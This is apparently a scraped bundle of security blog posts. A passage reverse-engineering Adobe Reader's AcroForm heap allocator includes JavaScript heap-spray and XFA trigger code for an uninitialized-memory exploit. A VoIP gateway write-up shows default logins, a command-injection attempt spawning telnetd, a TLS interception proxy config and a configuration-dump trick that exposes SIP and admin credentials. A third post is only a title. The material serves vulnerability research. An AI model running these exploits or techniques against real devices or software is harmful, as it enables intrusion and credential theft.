``dword` `ptr` `-20h``.text:209DE150 var_1C = ``dword` `ptr`
`-1Ch``.text:209DE150 var_18 = ``dword` `ptr` `-18h` `[...]` `.text:209DE2F4
``call` `sub_20988A83``.text:209DE2F9 ``lea` `ecx``,
[``ebp``+arg_4]``.text:209DE2FC ``mov` `byte` `ptr` `[``ebp``+var_4],
6``.text:209DE300 ``call` `sub_208A7FA1``.text:209DE305 ``push`
`3Ch``.text:209DE307 ``call` `CustomMalloc``.text:209DE30C ``pop`
`ecx``.text:209DE30D ``mov` `ecx``, ``eax``.text:209DE30F ``mov`
`[``ebp``+arg_4], ``ecx``.text:209DE312 ``cmp` `ecx``, ``edi``.text:209DE314
``mov` `byte` `ptr` `[``ebp``+var_4], 8``.text:209DE318 ``jz` `short`
`loc_209DE327``.text:209DE31A ``push` `edi``.text:209DE31B ``lea` `eax``,
[``ebp``+var_1C]``.text:209DE31E ``push` `eax``.text:209DE31F ``push`
`edi``.text:209DE320 ``call` `InitializeBrokenNode``.text:209DE325 ``mov`
`edi``, ``eax`  
---  
We can observe from the disassembled code that the function in charge of the
allocation is specific to _AcroForm_. The _CustomMalloc\(\)_ function works by
getting an object that represents the custom heap and returning an address of
a block of the desired size: 0x3c in our case.

?

`.text:2080B962 CustomMalloc``.text:2080B962``.text:2080B962 arg_0 = ``dword`
`ptr` `4``.text:2080B962``.text:2080B962 ``push` `[``esp``+arg_0] ` `;
size.``.text:2080B966 ``push` `0``.text:2080B968 ``call`
`GetCustomHeapObject``.text:2080B96D ``pop` `ecx``.text:2080B96E ``mov`
`ecx``, ``eax``.text:2080B970 ``call` `DoCustomAllocation``.text:2080B975
``retn``.text:2080B975 CustomMalloc ``endp`  
---  
First a small check is performed in the _DoCustomAllocation\(\)_ function to
ensure that the custom heap allocator is activated. Otherwise the _malloc\(\)_
function is called directly. Following this, it tries to find a memory pool
that matches the desired size. This is achieved using the
_GetBlockFromMemoryPool\(\)_ function that returns a memory pool for the size
0×48. Once done, the result of the
_UpdateMemoryPoolAndReturnAllocatedBlock\(\)_ function is returned.

?

`.text:2080B81E DoCustomAllocation``.text:2080B81E``.text:2080B81E var_14 =
``byte` `ptr` `-14h``.text:2080B81E arg_0 = ``dword` `ptr`
`8``.text:2080B81E``.text:2080B81E ``push` `ebp``.text:2080B81F ``mov` `ebp``,
``esp``.text:2080B821 ``sub` `esp``, 14h``.text:2080B824 ``cmp`
`isCustomAllocator, 0 ` `; Is custom heap activated? Else use
malloc.``.text:2080B82B ``jnz` `short` `loc_2080B851 ` `; Jump is
taken.``.text:2080B82D ``push` `[``ebp``+arg_0]``.text:2080B830 ``call`
`ds``:malloc``.text:2080B836 ``test` `eax``, ``eax``.text:2080B838 ``pop`
`ecx``.text:2080B839 ``jnz` `short` `locret_2080B86A``.text:2080B83B ``lea`
`ecx``, [``ebp``+var_14]``.text:2080B83E ``call` `sub_20805C9A``.text:2080B843
``push` `offset` `unk_20E0073C``.text:2080B848 ``lea` `eax``,
[``ebp``+var_14]``.text:2080B84B ``push` `eax``.text:2080B84C ``call`
`_CxxThrowException``.text:2080B851``.text:2080B851
loc_2080B851:``.text:2080B851 ``mov` `eax``, [``ebp``+arg_0] ` `; Take the
desired size.``.text:2080B854 ``add` `eax``, ``eax``.text:2080B856 ``push`
`eax``.text:2080B857 ``lea` `eax``, [``ebp``+arg_0]``.text:2080B85A ``push`
`eax``.text:2080B85B ``call` `GetBlockFromMemoryPool``.text:2080B860 ``push`
`[``ebp``+arg_0] ` `; Size 0x48.``.text:2080B863 ``mov` `ecx``,
``eax``.text:2080B865 ``call`
`UpdateMemoryPoolAndReturnAllocatedBlock``.text:2080B86A``.text:2080B86A
locret_2080B86A:``.text:2080B86A ``leave``.text:2080B86B ``retn` `4`  
---  
The _GetBlockFromMemoryPool\(\)_ function works by first checking if the
desired size is bigger than 0×100. Otherwise it looks into a freelist for a
memory pool that fits. The freelist consists of an array of quartets of
dwords. Although all sizes between 0 and 0×100 have their own entries in the
freelist, some may share the same memory pool. This is the case for size 0x3c
and size 0×48.

?

`.text:2080B744 GetBlockFromMemoryPool``.text:2080B744``.text:2080B744 arg_0 =
``dword` `ptr` `4``.text:2080B744 arg_4 = ``dword` `ptr`
`8``.text:2080B744``.text:2080B744 ``push` `ebx``.text:2080B745 ``push`
`esi``.text:2080B746 ``mov` `ebx``, ``ecx` `; ECX points to the custom heap
object.``.text:2080B748 ``mov` `ecx``, [``esp``+8+arg_0]``.text:2080B74C
``mov` `esi``, [``ecx``] ` `; Desired size.``.text:2080B74E ``push`
`edi``.text:2080B74F ``mov` `edi``, 100h``.text:2080B754 ``cmp` `esi``,
``edi``.text:2080B756 ``jnb` `short`
`bigger_than_100_or_freelist_empty``.text:2080B758 ``mov` `eax``,
[``ebx``+``esi``*4+18h]` `; Look at the freelist for blocks of size
0x3c.``.text:2080B75C ``test` `eax``, ``eax``.text:2080B75E ``jz` `short`
`bigger_than_100_or_freelist_empty``.text:2080B760 ``mov` `edx``, [``eax``+4]
` `; Get the real size of the block.``.text:2080B763 ``mov` `edx``,
[``edx``]``.text:2080B765 ``mov` `edx``, [``edx``] ` `; Here it is
0x48.``.text:2080B767 ``mov` `[``ecx``], ``edx``.text:2080B769 ``jmp` `short`
`loc_2080B77F``.text:2080B76B``.text:2080B76B
bigger_than_100_or_freelist_empty:``.text:2080B76B ``push`
`[``esp``+0Ch+arg_4]``.text:2080B76F ``push` `ecx``.text:2080B770 ``mov`
`ecx``, ``ebx``.text:2080B772 ``call` `sub_2080B651``.text:2080B777 ``cmp`
`esi``, ``edi``.text:2080B779 ``jnb` `short` `loc_2080B77F``.text:2080B77B
``mov` `[``ebx``+``esi``*4+18h], ``eax` `; Update the
freelist.``.text:2080B77F``.text:2080B77F loc_2080B77F:``.text:2080B77F ``mov`
`ecx``, ``eax``.text:2080B781 ``call`
`GetTheBlockOrAllocateANewPool``.text:2080B786 ``pop` `edi``.text:2080B787
``pop` `esi``.text:2080B788 ``pop` `ebx``.text:2080B789 ``retn`
`8``.text:2080B789 GetBlockFromMemoryPool ``endp`  
---  
The memory pool sharing for size 0x3c and size 0×48 can be observed in the
memory:

[code]

    Quartet for freelist 0x3c.
    02A7AAE0    02405648  HV@    --> Pool address.
    02A7AAE4    00000000  ....
    02A7AAE8    00000000  ....
    02A7AAEC    00000000  ....
    
    Quartet for freelist 0x48.
    02A7AB10    02405648  HV@    --> Pool address.
    02A7AB14    00000000  ....
    02A7AB18    00000000  ....
    02A7AB1C    00000000  ....
[/code]

Once the correct memory pool is retrieved, the
_GetTheBlockOrAllocateANewPool\(\)_ function is called. This function browses
the memory pool for a free block. If the pool is not empty it takes the first
available block and returns it.

?

`.text:208D3D56 GetTheBlockOrAllocateANewPool``.text:208D3D56``.text:208D3D56
var_10 = ``dword` `ptr` `-10h``.text:208D3D56 var_4 = ``dword` `ptr`
`-4``.text:208D3D56``.text:208D3D56 ``push` `4``.text:208D3D58 ``mov` `eax``,
``offset` `sub_20D34DDF``.text:208D3D5D ``call` `__EH_prolog3``.text:208D3D62
``mov` `edi``, ``ecx``.text:208D3D64 ``mov` `edx``, [``edi``]``.text:208D3D66
``xor` `esi``, ``esi``.text:208D3D68 ``xor` `ecx``, ``ecx``.text:208D3D6A
``test` `edx``, ``edx``.text:208D3D6C ``jbe` `short`
`loc_208D3D81``.text:208D3D6E ``mov` `eax``, [``edi``+4]` `[...]`
`.text:208D3D71 loc_208D3D71:``.text:208D3D71 ``mov` `esi``,
[``eax``]``.text:208D3D73 ``cmp` `dword` `ptr` `[``esi``+20h], 0` `; If NULL,
then the memory pool is empty.``.text:208D3D77 ``jnz` `short` `loc_208D3DAB`
`[...]` `.text:208D3DAB loc_208D3DAB:``.text:208D3DAB ``test` `ecx``,
``ecx``.text:208D3DAD ``jbe` `short` `loc_208D3DDC` `[...]` `.text:208D3DDC
loc_208D3DDC:``.text:208D3DDC ``mov` `eax``, ``esi``.text:208D3DDE ``call`
`__EH_epilog3``.text:208D3DE3 ``retn`  
---  
Back to the _DoCustomAllocation\(\)_ function, the block is detached from the
memory pool and the memory pool’s header is updated using the
_UpdateMemoryPoolAndReturnAllocatedBlock\(\)_ function.

?

`.text:208D3B6E
UpdateMemoryPoolAndReturnAllocatedBlock``.text:208D3B6E``.text:208D3B6E ``mov`
`eax``, [``ecx``+20h]``.text:208D3B71 ``mov` `edx``, [``eax``] ` `; Next
block.``.text:208D3B73 ``mov` `[``ecx``+20h], ``edx` `; Attach the next block
in the list.``.text:208D3B76 ``mov` `[``eax``], ``ecx` `; Mark the current
block with a pointer to the info header.``.text:208D3B78 ``inc` `dword` `ptr`
`[``ecx``+1Ch]` `; Increment reference counter to the block.``.text:208D3B7B
``add` `eax``, 4 ` `; Return the actual address of the newly allocated
block.``.text:208D3B7E ``retn` `4`  
---  
The address of the newly allocated block is returned and eventually the
_CustomMalloc\(\)_ function returns its address. It is ready to be used.

This completes the allocation of a new block when the memory pool contains
free blocks. Otherwise a new one needs to be allocated. This can be achieved
using the _GetTheBlockOrAllocateANewPool\(\)_ function. The pointer at
_ESI+0×20_ is NULL and ultimately the _DoPoolAllocation\(\)_ function is
called.

?

`.text:208D3D56 GetTheBlockOrAllocateANewPool``.text:208D3D56``.text:208D3D56
var_10 = ``dword` `ptr` `-10h``.text:208D3D56 var_4 = ``dword` `ptr`
`-4``.text:208D3D56``.text:208D3D56 ``push` `4``.text:208D3D58 ``mov` `eax``,
``offset` `sub_20D34DDF``.text:208D3D5D ``call` `__EH_prolog3` `[...]`
`.text:208D3D71 loc_208D3D71:``.text:208D3D71 ``mov` `esi``,
[``eax``]``.text:208D3D73 ``cmp` `dword` `ptr` `[``esi``+20h], 0` `; If NULL,
then the memory pool is empty.``.text:208D3D77 ``jnz` `short`
`loc_208D3DAB``.text:208D3D79 ``inc` `ecx``.text:208D3D7A ``add` `eax``,
4``.text:208D3D7D ``cmp` `ecx``, ``edx``.text:208D3D7F ``jb` `short`
`loc_208D3D71` `.text:208D3D81 loc_208D3D81:``.text:208D3D81 ``push`
`28h``.text:208D3D83 ``call` `??2@YAPAXI@Z ` `; operator
new(uint).``.text:208D3D88 ``pop` `ecx``.text:208D3D89 ``mov`
`[``ebp``+var_10], ``eax``.text:208D3D8C ``and` `[``ebp``+var_4],
0``.text:208D3D90 ``test` `eax``, ``eax``.text:208D3D92 ``jz` `short`
`loc_208D3DB7``.text:208D3D94 ``mov` `eax``, [``esi``+4]``.text:208D3D97
``mov` `ecx``, [``esi``]``.text:208D3D99 ``mov` `esi``,
[``esi``+24h]``.text:208D3D9C ``push` `eax``.text:208D3D9D ``push`
`ecx``.text:208D3D9E ``mov` `ecx``, [``ebp``+var_10]``.text:208D3DA1 ``push`
`esi``.text:208D3DA2 ``call` `DoPoolAllocation``.text:208D3DA7 ``mov` `esi``,
``eax``.text:208D3DA9 ``jmp` `short` `loc_208D3DB9`  
---  
The _DoPoolAllocation\(\)_ function calls the _AllocatePool\(\)_ function.

?

`.text:208D3C90 DoPoolAllocation``.text:208D3C90``.text:208D3C90 var_10 =
``dword` `ptr` `-10h``.text:208D3C90 var_4 = ``dword` `ptr`
`-4``.text:208D3C90 arg_0 = ``dword` `ptr` `8``.text:208D3C90 arg_4 = ``dword`
`ptr` `0Ch``.text:208D3C90 arg_8 = ``dword` `ptr`
`10h``.text:208D3C90``.text:208D3C90 ``push` `4``.text:208D3C92 ``mov` `eax``,
``offset` `sub_20CE1F10``.text:208D3C97 ``call` `__EH_prolog3``.text:208D3C9C
``mov` `esi``, ``ecx``.text:208D3C9E ``mov` `[``ebp``+var_10],
``esi``.text:208D3CA1 ``mov` `eax``, [``ebp``+arg_4]``.text:208D3CA4 ``mov`
`[``esi``], ``eax``.text:208D3CA6 ``mov` `eax``,
[``ebp``+arg_8]``.text:208D3CA9 ``lea` `ecx``, [``esi``+8]``.text:208D3CAC
``mov` `[``esi``+4], ``eax``.text:208D3CAF ``call`
`sub_20A0A893``.text:208D3CB4 ``xor` `eax``, ``eax``.text:208D3CB6 ``mov`
`[``ebp``+var_4], ``eax``.text:208D3CB9 ``mov` `[``esi``+1Ch],
``eax``.text:208D3CBC ``mov` `[``esi``+20h], ``eax``.text:208D3CBF ``mov`
`eax``, [``ebp``+arg_0]``.text:208D3CC2 ``mov` `ecx``, ``esi``.text:208D3CC4
``mov` `[``esi``+24h], ``eax``.text:208D3CC7 ``mov` `dword` `ptr`
`[``esi``+18h], 10h``.text:208D3CCE ``call` `AllocatePool``.text:208D3CD3
``mov` `eax``, ``esi``.text:208D3CD5 ``call` `__EH_epilog3``.text:208D3CDA
``retn` `0Ch`  
---  
The _AllocatePool\(\)_ function performs the actual task. A new memory pool is
allocated using the standard _malloc\(\)_ function from the MSVCR80 module.
Its size is computed the following way:

  * url\(images/postbullets.png\)
  * Rounds 0×48 to 0x4c and allocates for 0x2b7 items: 0x4c \* 0x2b7 = 0xce54 bytes.

?

`.text:208D3BF4 AllocatePool``.text:208D3BF4``.text:208D3BF4 var_18 = ``byte`
`ptr` `-18h``.text:208D3BF4 var_4 = ``dword` `ptr`
`-4``.text:208D3BF4``.text:208D3BF4 ``push` `ebp``.text:208D3BF5 ``mov`
`ebp``, ``esp``.text:208D3BF7 ``sub` `esp``, 18h``.text:208D3BFA ``push`
`esi``.text:208D3BFB ``mov` `esi``, ``ecx``.text:208D3BFD ``mov` `eax``,
[``esi``] ` `; Desired block size for the memory pool: 0x48.``.text:208D3BFF
``mov` `ecx``, [``esi``+4] ` `; 0x2B7.``.text:208D3C02 ``add` `eax``,
3``.text:208D3C05 ``shr` `eax``, 2``.text:208D3C08 ``lea` `eax``,
``ds``:4[``eax``*4]` `; 0x4C.``.text:208D3C0F ``imul` `eax``, ``ecx` `;
0xCE54.``.text:208D3C12 ``push` `edi``.text:208D3C13 ``push`
`eax``.text:208D3C14 ``call` `ds``:malloc``.text:208D3C1A ``mov` `edi``,
``eax``.text:208D3C1C ``test` `edi``, ``edi``.text:208D3C1E ``pop` `ecx`  
---  
## TMTOWTDI

As always, when it comes to exploit a vulnerability, there is more than one
way to do it. This one is no exception:

  * url\(images/postbullets.png\)
  * using the custom allocator.
  * url\(images/postbullets.png\)
  * using the complete pool coming from _malloc\(\)_.

In both ways, the idea is to allocate a fair amount of blocks of the targeted
size and fill them with controlled data, then to free some of them and trigger
the final allocation. Because the memory in un-initialized, its content is
going to be the content of the previously allocated data at this location, our
data.

The first method would be to use the custom allocator. This involves searching
for all calls to the _CustomMalloc\(\)_ function and find one that can both
allocate data between 0x3c to 0×48 bytes large and which value can be set at
offset 0x3c. This is quite boring and time-consuming. On the other hand, it is
a good opportunity to find more bugs.

The second method is to use directly the _malloc\(\)_ function and spray the
memory with blocks of 0xce54 bytes containing the value we want to set at
0x3c, then to free half of them. Subsequently, we need to allocate a few nodes
to force the custom allocator to create a new memory pool for size 0×48.
Luckily it will use a spot we just freed.

## Initializing the un-initialized

The JavaScript engine \(the EScript\_api module\) uses _malloc\(\)_ to
allocate strings. It can be used to allocate 3000 strings of 0xce54 bytes and
then to free half of them, leaving holes of targeted size. A short spray of
nodes is needed to force the allocator to create a new memory pool that will
just fit the newly created hole.

?

`function` `UninitializedMemorySpray()``{`` ``var` `size = 0xce54;`` ``var`
`spray = [];`` ``var` `block = BuildBlock(dword(0x42424242), size);`` ``for`
`(``var` `i = 0; i < 3000; i++)`` ``{`` ``spray.push(block.substring(0,
block.length-2) + dword(i));`` ``}` ` ``/* Free half of the blocks. */``
``for` `(``var` `i = 0 ; i < spray.length ; i++)`` ``{`` ``if` `((i % 2) ==
0)`` ``{`` ``spray[i] = dword(i);`` ``delete` `spray[i];`` ``}`` ``}` `
``return` `spray;``}` `function` `Trigger()``{`` ``var` `spray =
UninitializedMemorySpray();` ` ``/* Create new nodes to force the creation of
a new pool. */`` ``for` `(``var` `i=0 ; i < 500 ; i++)`` ``{``
``xfa.template.createNode(``"contentArea"``, ``"A"``);`` ``}` ` ``/* Trigger
the bug. */``
``xfa.resolveNode(``"xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui"``).oneOfChild
= choiceList;``}`  
---  
Back to the _sub\_209DE150\(\)_ function, we have seen that it allocates 0x3c
bytes using the custom allocator and then initializes the memory as a new
node.

?

`.text:209D8D71 InitializeBrokenNode``.text:209D8D71``.text:209D8D71 arg_0 =
``dword` `ptr` `4``.text:209D8D71 arg_4 = ``dword` `ptr` `8``.text:209D8D71
arg_8 = ``dword` `ptr` `0Ch``.text:209D8D71``.text:209D8D71 ``push`
`esi``.text:209D8D72 ``push` `[``esp``+4+arg_0]``.text:209D8D76 ``mov` `esi``,
``ecx``.text:209D8D78 ``call` `FirstTouchAllocationHere``.text:209D8D7D ``mov`
`ecx``, [``esp``+4+arg_4]``.text:209D8D81 ``mov` `dword` `ptr` `[``esi``],
``offset` `broken_object``.text:209D8D87 ``mov` `eax``,
[``ecx``]``.text:209D8D89 ``xor` `edx``, ``edx``.text:209D8D8B ``cmp` `eax``,
``edx``.text:209D8D8D ``mov` `[``esi``+24h], ``eax``.text:209D8D90 ``jz`
`short` `loc_209D8D95``.text:209D8D92 ``inc` `dword` `ptr`
`[``eax``+4]``.text:209D8D95``.text:209D8D95 loc_209D8D95:``.text:209D8D95
``mov` `eax``, [``esp``+4+arg_8]``.text:209D8D99 ``mov` `[``esi``+2Ch],
``eax``.text:209D8D9C ``mov` `[``esi``+30h], ``edx``.text:209D8D9F ``mov`
`[``esi``+34h], ``edx``.text:209D8DA2 ``mov` `[``esi``+38h],
``edx``.text:209D8DA5 ``mov` `eax``, off_20E93D74` `; Pointer to ascii
"node".``.text:209D8DAA ``and` `dword` `ptr` `[``esi``+28h],
0FFFFFFF0h``.text:209D8DAE ``mov` `[``esi``+0Ch], ``eax``.text:209D8DB1 ``mov`
`dword` `ptr` `[``esi``+10h], 0C9h``.text:209D8DB8 ``mov` `ecx``,
[``ecx``]``.text:209D8DBA ``cmp` `ecx``, ``edx`  
---  
After the function returns, we can check the memory at the broken object and
the value at offset 0x3c is indeed the expected 0×42424242.

?

`$ ==> 20D7F824 $ø×``$+4 00000000 ....``$+8 00000000 ....``$+C 20E93D64 d=é ;
PTR to ASCII ``"node"``$+10 000000C9 É...``$+14 42424242 BBBB``$+18 42424252
RBBB``$+1C 00000000 ....``$+20 00000000 ....``$+24 0E026D50 Pm``$+28 42424240
@BBB``$+2C 00000000 ....``$+30 00000000 ....``$+34 00000000 ....``$+38
00000000 ....``$+3C 42424242 BBBB``$+40 42424242 BBBB``$+44 42424242
BBBB``$+48 0E026E30 0n``$+4C 42424242 BBBB`  
---  
If we let Adobe Reader continue, it crashes with the controlled 0×42424242
value. Mission achieved\!

?

`(b70.2a8): Access violation - code c0000005 (first chance)``First chance
exceptions are reported before any exception handling.``This exception may be
expected and handled.``eax=0012f428 ebx=0360807c ecx=42424242 edx=00000000
esi=0ea23948 edi=42424242``eip=209063b8 esp=0012f3e8 ebp=0012f418 iopl=0 nv up
ei pl nz na pe nc``cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00210206``209063b8 8b7740 mov esi,dword ptr [edi+40h]
ds:0023:42424282=????????`  
---  
## Conclusion

The full reversing of the AcroForm allocation function was in fact not
entirely required. Indeed the size of a memory pool could just be found by
setting page heap and heap tagging using _gflags_. However, reversing the
allocator is never a waste of time. It gives a good insight of the internals
of the application and good ideas on how to abuse it in order to exploit heap
overflows or produce a memory leak. It is also a good way of finding new bugs.

This concludes the second part. We have seen how to control the un-initialized
data. We are ready to leverage the bug into a code execution vulnerability.

## References

  * url\(images/postbullets.png\)
  * Adobe’s advisory: APSA13-02
  * url\(images/postbullets.png\)
  * Download target version: Adobe Acrobat 10 for Windows
  * url\(images/postbullets.png\)
  * XFA Specification

###

# Alice in Router-land: Down The MP-202 Hole | hello, world\nAAAA
**Created:**| _10/17/2013 11:03:09 AM_  
---|---  
**Updated:**| _10/17/2013 11:03:09 AM_  
**Author:**| __  
**Tags:**| _reversing vulnerability Firmware routers_  
  

# **A** lice in Router-land: Down The MP-202 Hole****

_TL;DR; Yet another trivially exploitable vulnerability in residential gateway
devices**.**_

<img src='img/Temp2_499.jpg' alt='All in the golden afternoon, full leisurely
we glide;' />

All in the golden afternoon, full leisurely we glide;

* * *
During a recent refresh of my home communication service providers, I signed
up for a VoIP phone line, provided by - lets call them company A.

Company A's offer includes a device to convert the Internet facing VoIP
service into the POTS \(plain old telephone service\) jacks deployed in most
houses**.**

Being the technology geek that I am, one of the real appeals of a VoIP service
was having a SIP endpoint at home, free to explore and hack around with**.** I
imagined an Asterisk installation with an outbound SIP trunk, redirecting home
calls to all my devices \(PCs at home and work, mobile phone\), managing in-
house calls from the kitchen to the upstairs balcony, and other probably
absolutely unrequired features**.**

<img src='img/Temp2_507.jpg' alt='Speak English! I don't know the meaning of
half those long words, and I don't believe you do either' />

Speak English**\!** I don't know the meaning of half those long words, and I
don't believe you do either

A nice company A technician arrived at the designated time-slot and installed
the AudioCodes MP-202 **.**

<img src='img/Temp2_509.jpg' alt='Begin at the beginning and go on till you
come to the end, then stop.' />

Begin at the beginning and go on till you come to the end, then stop**.**

He said the device 'works best' if I just hook it up straight to my WAN line
as my gateway and let it route all of my home traffic outside**.** Having
invested a considerable amount of time configuring a dd-wrt installation on my
TD-1043ND, I politely declined:

> "NEVER"**.**
The technician then told me to define the device as a DMZ address**.** again,
hell if I was going to leave an unknown who-knows-how-vulnerable device as my
publicly facing gateway**.** He then followed to explain that the device needs
to publicly listen on ports 5060 and 443 for it to work**.** "What if I have
port 443 taken?" \(I don't, but why wouldn't I\); "Then we can change it, but
it will confuse the help desk guys when they need to help you**.** "

I decided not to argue for the time being, and let him finish the installation
already, so I just configured it and there, it booted and a couple of minutes
later \('firmware updates' as per the technician\) the SIP phone 1 LED turned
green**.** At that point I wished I had set up an opportunistic traffic
capture beforehand, but what's done is done**.** One more level in my
challenge.

Knowing that I would need my SIP credentials for my home PBX fantasies, I
decided to ask for them**.** The technician replied that it is against company
policy and that he can't give them to me \("they see it in the logs if I
access it"\), due to previous cases of abuse where people have \(presumably
falsely\) argued that malware misused their credentials to call sex lines
abroad**.** right**.**

He also mentioned that the password changes every once in a while**.**

Well, I figured they must be stored somewhere on the device, hopefully
unencrypted, and all I need is some access**.** I started poking the device
with everything nmap could offer, only to discover the expected 443 &
5060**.** browsing to the HTTPS interface brings up:

<img src='img/Temp2_508.jpg' />

Alright, a generic login form, lets try some
\{admin,Admin,Administrator,root,user\}x\{admin,Admin,1234,123456,root,user\}
combinations**.** after a few attempts I got user:user authenticated, but this
only lead to a very restricted interface where I could pretty much control the
network interface settings**.** My first attempt was some command injections
to web parameters, trying to spawn `telnetd -p 1337 &` with different
encodings**.** after some failures I went on for more information gathering -
I had my home router duplicate the device's traffic for capture on my desktop
- and some interesting things started to pop up**.**

I immediately spotted the SIP registration, which is wonderfully unencrypted
and readable, and for some reason also happened every minute or so**.**

I eagerly read through the authentication part of the SIP packet, to
understand that SIP uses Digest authentication**.** Fair enough**\!** since I
have the nonce, realm, and username - I can attempt an MD5 brute force  for
the password**.** I let my overclocked Core i7 3770K crunch some MD5s for a
few hours, and woke up to find that no match was found for all passwords up to
6 alphanumerics \(lowercase only\)**.** I also ran an attempt for all numerics
only up to 7 digits, with no luck**.**

I also saw ntp updates from a provider's ntp server, the usual ARPs, and some
TFTP file transfers**.**

<img src='img/Temp2_500.jpg' />

Score**\!** I recognized a file being periodically downloaded from company A's
TFTP server called `MP202_<00908f_MAC>.inx`**.** I went ahead and downloaded
it myself from the server \(could have extracted it from the pcap hadn't it
just worked\)**.**

A periodic 4k file retrieved from A's server**?** this must be some sort of
device configuration :\)

<img src='img/Temp2_504.jpg' />

But what's an .inx file**?** google and `file` were unhelpful**.** At a quick
glance, it wasn't plain text, but a closer observation showed that the first 8
characters were the ASCII representation of `Salted__`, which is indicative of
an openssl encryption with a passphrase**.**

Some googling lead to the MP-20x Release Notes v2**.** 6.3  which proved that
this was true, as these devices can accept either plain .cfg files or
encrypted .cfx files \(as well as .ini/.inx\)**.**

<img src='img/Temp2_501.jpg' alt='Read the directions and directly you will be
directed in the right direction.' />

Read the directions and directly you will be directed in the right
direction**.**

The example encryption command used the salt value of `1234567890ABCDEF`**.**
Apparently the engineers at company A copy-pasted the command without
understanding what salt is, as this was the exact salt value in my generated
configuration file**.**

<img src='img/Temp2_506.jpg' alt='Off with their heads!' />

Off with their heads**\!**

A slight thrill creeped in when I tried the password `MyPassword123456`, but
appearantly they did have some sense**.** The clear salt still doesn't help a
lot with decryption of this particular instance, as Im not the NSA and I don't
have a huge precalculated triple DES passphrase rainbow table for that salt
value**.**

I found that upon booting, the device will actually try to download a new
firmware from the same TFTP server**.** firmware? awesome\! a great exercise
to sharpen my reversing skills and possibly find a hardcoded password or other
auth bypass**.**

I downloaded the 4MB firmware file `MP202_301.rmt`**.** This one did not seem
encrypted off the bat, as I was getting a plain text header very visible at
the beginning of the file**.**

<img src='img/Temp2_511.jpg' />

`binwalk` suggested both an LZMA block and a CramFS signature:

<img src='img/Temp2_505.jpg' alt='We're all mad here.' />

We're all mad here**.**

The LZMA block properties seems quirky, and the CramFS extract just would not
mount under no tool**.** 7-zip got to list the files, but extracting them they
were all zero sized**.** Digging into some cramFS mounting google results, I
came across Valerio Di Giampietro 's lzma-uncramfs , which happened to deal
with a rather unique usage of LZMA by gateway middleware named OpenRG **.**

I browsed through the file system, realizing that it's pretty slim**.** I had
some configuration files, some web interface images, and most importantly,
MIPS binaries**.**

<img src='img/Temp2_503.jpg' />

  * The configuration files did not contain anything that's not perfectly generic, and seemed like plain factory defaults**.**
  * A peculiar find in the web interface images directory were several files branded with the logo of the very distinct company B - which holds the same type of devices**.** IP theft? or cooperation? I can only guess.
  * Some strings searching in all the binaries failed to find references to company A, built-in users or passwords..**.**

Armed with the option to further reverse the binaries later, I returned to
traffic analysis, really wanting to catch an HTTPS session where company A
authenticates to my device \(I do assume that they don't verify the machine's
self-signed certificate, but I still generated a very similar certificate,
just in case\)**.**

However, capturing an HTTPS session will not be very useful at this point, as
I wouldn't be able to read it**.** I needed to setup an SSL MITM proxy to see
the form values being posted**.** I first tried mitmproxy but found that in
transparent mode, it uses the host header to extract the target, which would
be problematic in my case**.** In reverse proxy mode, it doesn't support
HTTPS, but only serving HTTP**.** I found an open issue on mitmproxy's github
\(with a very recent pull request \), but I decided to try another way**.**

I set up an nginx httpd proxy on a VM, and had my router forward there all
traffic destined to the MP202**.** I didn't bother figuring out how to make
nginx store request contents, but used a little trick instead: I configured it
as a double proxy**.** An HTTPS listener to intercept inbound traffic and
forward locally to an HTTP listener that is a proxy for the MP-202 via
HTTPS**.**

[/code]

[code]

    server {
        listen 443;
        server_name _;
    
        ssl on;
        ssl_certificate mp202.crt;
        ssl_certificate_key mp202.key;
    
        ssl_session_timeout 5m;
    
        ssl_protocols SSLv3 TLSv1;
        ssl_ciphers ALL:**!** ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv3:+EXP;
        ssl_prefer_server_ciphers on;
    
        location / {
                proxy_pass http://localhost:50599;
                allow all;
        }
    }
    server {
        listen 50599;
        server_name _;
    
        location / {
                proxy_pass https://mp202;
                allow all;
        }
    }
    
[/code]

``

Not pretty, but now I finally had an unencrypted capture of web
authentication**.**

Only then did I figure that the login form itself is also protected by a
javascript MD5 hashing scheme  \(another possible target for reversing\),
meaning that even if I capture a live session I probably wouldn't be able to
authenticate with it**.**

I could set up a fake login page and ask the help desk to connect - then I
found Ishay Peled already did it  \(as well as other similar parts of my
research\), so that could be a fallback in case other vectors fail**.**

Next thing I tried was switching the ethernet cable from the WAN port to the
LAN port, assuming that more services would be open by default**.** I was
right, I found more open services this time, including 992/telnets**.**

using `telnet -z ssl` I was able to get a `Username:` prompt, but the server
would not accept a login as `user` \(reprompting for another username\)**.** I
ran through some other defaults like the web auth, but it seems to
authenticate using the same mechanism**.**

I moved on to read some  posts  about  firmware  analysis , and looked for
OpenRG references**.** I finally came across a brief mention of
`/save_rg_conf.cgi`, which supposedly blurts out the complete configuration of
the device**.**

<img src='img/Temp2_510.jpg' />

and it did**.**

yes, there's also `replace_rg_conf.cgi` that works**.**

<img src='img/Temp2_512.jpg' alt='Why, sometimes I've believed as many as six
impossible things before breakfast.' />

Why, sometimes I've believed as many as six impossible things before
breakfast**.**

Authenticated as `user:user`, the device just let me download the complete
configuration file**\!** However, I soon found all sensitive fields \(such as
passwords\) were encrypted/obfuscated looking like:
`(password(&b7;X&5c;&b9;&a2;))`

another short query lead me to Zibri's blog , where he provides a simple
javascript deobfuscator**.** there is, in fact, a simple fixed 64-byte vector
being added to the password, an easily reversible procedure, which zibri
probably extracted from the binary or simply discovered by trial and
error**.**

In a minute of triumph, I had my complete SIP credentials, the provider's
administrator account and password, and the configuration files encryption
passwords**.**

a quick `openssl 3des -in MP202_<redacted>.inx -out MP202_<redacted>.ini -p
<redacted_password>` later, I verified that all of these values are pulled on
a daily basis to my device \(as well as after every boot\)**.**

It was a rather disappointingly unsophisticated win, but a win
nonetheless**.**

<img src='img/Temp2_502.jpg' alt='Tut, tut, child! Everything's got a moral,
if only you can find it.' />

Tut, tut, child**\!** Everything's got a moral, if only you can find it.

* * *
> _" What is the use of repeating all that stuff, if you don't explain it as
> you go on**?** It's by far the most confusing thing I ever heard\!"_
****

# nt\!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques | j00ru//vx tech blog
**Created:**| _5/29/2011 8:51:23 PM_  
---|---  
**Updated:**| _5/29/2011 8:51:35 PM_  
**Author:**| __  
**Tags:**| _Exploit windows environment awesome_  
  

## nt\!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques

